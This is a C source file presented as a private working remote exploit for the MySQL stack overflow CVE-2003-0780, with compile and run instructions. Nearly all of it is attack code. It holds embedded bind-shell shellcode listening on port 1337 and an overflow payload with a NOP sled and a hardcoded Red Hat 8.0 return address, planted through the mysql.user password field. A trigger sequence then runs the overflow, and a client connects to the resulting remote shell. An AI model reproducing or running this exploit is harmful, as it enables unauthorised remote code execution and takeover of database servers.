/*
 * Private Exploit !!! 
 * cve-2003-0780 -  mysql 3.23.x - 4.0.14 remote stack overflow exploit
 * The original private exploit code was written in 2003 and was patched in 2026.
 * Original code by : Antonius (w1sdom) - bluedragonsec.com - github.com/bluedragonsecurity
 * Compile this exploit in linux distro from 2002-2004 !!!
 * compile : gcc -o exploit exploit.c -I/usr/local/mysql/include -L/usr/local/mysql/lib/mysql -lmysqlclient
 * run : ./exploit <host> <user> <pass>
 * e.g : 
 * ./exploit 192.168.0.1 root test123
 * ./exploit 192.168.1.1 root test123
 *
 * supported target :
 * redhat 8.0
 * (c) solhack 2002-now - all rights reserved
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <netdb.h>
#include <mysql/mysql.h>
#define BUF 1024
MYSQL *conn;
/*
linux 32 bit bindshell 1337 - (c) solhack 2002
*/
unsigned char code[] =
"\x31\xdb\xf7\xe3\x52\x43\x53\x6a\x02\xb0\x66\x89\xe1\xcd\x80"
"\x89\xc6\x43\x52\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51"
"\x56\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xd1\xe3\x52\x56\x89\xe1"
"\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02"
"\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\xeb\xb4\x90";            

void banner() {
   printf(
    "\n=====================================================\n"
    "    cve-2003-0780 - private rce exploit                \n"
    "    mysql 3.23.x - 4.0.14 remote stack overflow exploit\n"
    "    private exploit ! don't share !!!                  \n"
    "    The original private exploit code was written in   \n"
    "    2003 and was patched in 2026.                      \n"      
    "    code by : Antonius (w1sdom) - bluedragonsec.com    \n"
    "    https://github.com/bluedragonsecurity              \n"
    "    (c) solhack (solhack.ath.cx)- 2002-forever         \n"
    "  =====================================================\n\n");
}

void usage() {
printf(
    "\n\trun : ./exploit <host> <user> <pass> \n"
    "\te.g :                                  \n"
    "\t./exploit 192.168.0.1 root test123     \n"
    "\t                                       \n"
    "\tsupported target : redhat 8.0          \n\n"); 
}

void shell(char *ip, int port) {
    int n, s;
    struct sockaddr_in sa;
    char buf[4096];
    fd_set fds;

    s = socket(AF_INET, SOCK_STREAM, 0);
    sa.sin_family = AF_INET;
    sa.sin_port = htons(port);
    inet_aton(ip, &sa.sin_addr);
    if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
        perror("[-] exploit failed !");
        return;
    }
    printf("[*] connected to %s:%d\n", ip, port);
    write(1, "# ", 2);
    while (1) {
        FD_ZERO(&fds);
        FD_SET(s, &fds);
        FD_SET(0, &fds);
        select(s + 1, &fds, NULL, NULL, NULL);
        if (FD_ISSET(s, &fds)) {
            n = read(s, buf, sizeof(buf));
            if (n <= 0) 
                break;
            write(1, buf, n);
            write(1, "# ", 2);
        }
        if (FD_ISSET(0, &fds)) {
            n = read(0, buf, sizeof(buf));
            if (n <= 0) 
                break;
            write(s, buf, n);
        }
    }
    close(s);
}

void die(char *msg) {
    fprintf(stderr, "[-] %s: %s\n", msg, mysql_error(conn));
    mysql_close(conn);
    exit(1);
}

int main(int argc, char **argv) {
    char buffer[BUF], buf2[800], muser[20];
    struct sockaddr_in peer;
    int i, j, clifd, n;
    fd_set fds;
    unsigned int eip = 0x1337;

    banner();
    if (argc < 4) {
        usage();
        return 1;
    }
    conn = mysql_init(NULL);
    if (!mysql_real_connect(conn, argv[1], argv[2], argv[3], "mysql", 3306, NULL, 0)) {
        printf("[-] connect failed: %s\n", mysql_error(conn));
        return 1;
    }
    printf("[+] connected to %s as %s\n", argv[1], argv[2]);
    if (mysql_real_query(conn, "ALTER TABLE user CHANGE COLUMN Password Password LONGTEXT",
        strlen("ALTER TABLE user CHANGE COLUMN Password Password LONGTEXT")))
        die("alter");
    printf("[+] altered password column\n");
    if (mysql_real_query(conn, "SELECT user FROM mysql.user LIMIT 1",
        strlen("SELECT user FROM mysql.user LIMIT 1")))
        die("select");
    MYSQL_RES *res = mysql_store_result(conn);
    MYSQL_ROW row = mysql_fetch_row(res);
    snprintf(muser, sizeof(muser), "%s", row[0]);
    mysql_free_result(res);
    printf("[+] target user: %s\n", muser);
    /*
    redhat 8.0 libc :
    jmp edx -> 0x4202898a
    call edx -> 0x4201d9c4
    */
    eip = 0x4202898a;
    memset(buf2, 'A', 152);                         
    memcpy(buf2 + 128, "90900eeb", 8);              
    sprintf(buf2 + 152, "%08x", eip);                
    for (i = 0; i < sizeof(code)-1; i += 4)          
        sprintf(buf2 + 160 + i*2, "%02x%02x%02x%02x",code[i+3], code[i+2], code[i+1], code[i]);
    for (i = 0; i < 320 - (sizeof(code)-1)*2; i += 2) /* NOP sled */
        memcpy(buf2 + 160 + (sizeof(code)-1)*2 + i, "90", 2);
    j = strlen(buf2);
    if (j % 8) { 
        n = (j/8+1)*8 - j; 
        memset(buf2+j, '0', n); 
    }
    i = sprintf(buffer, "update user set password='");
    memcpy(buffer+i, buf2, strlen(buf2)); 
    i += strlen(buf2);
    i += sprintf(buffer+i, "' where user='%s'", muser);
    if (mysql_real_query(conn, buffer, i))
        die("update");
    printf("[+] password updated\n");
    /* find socket fd */
    j = sizeof(peer);
    for (clifd = 3; clifd < 256; clifd++) {
        if (getpeername(clifd, (struct sockaddr *)&peer, &j) == -1) 
            continue;
        if (peer.sin_port == htons(3306)) 
            break;
    }
    if (clifd == 256) { 
        printf("[-] socket not found\n"); 
        return 1; 
    }
    printf("[+] socket fd: %d\n", clifd);
    /* trigger */
    send(clifd, "\x11\x00\x00\x00\x03" "flush privileges", 21, 0);
    printf("[+] flush sent\n");
    send(clifd, "I", 1, MSG_OOB);
    puts("[!] sleeping for 2 seconds ... please wait ...");
    sleep(2);
    shell(argv[1], 1337);
   
    return 0;
}
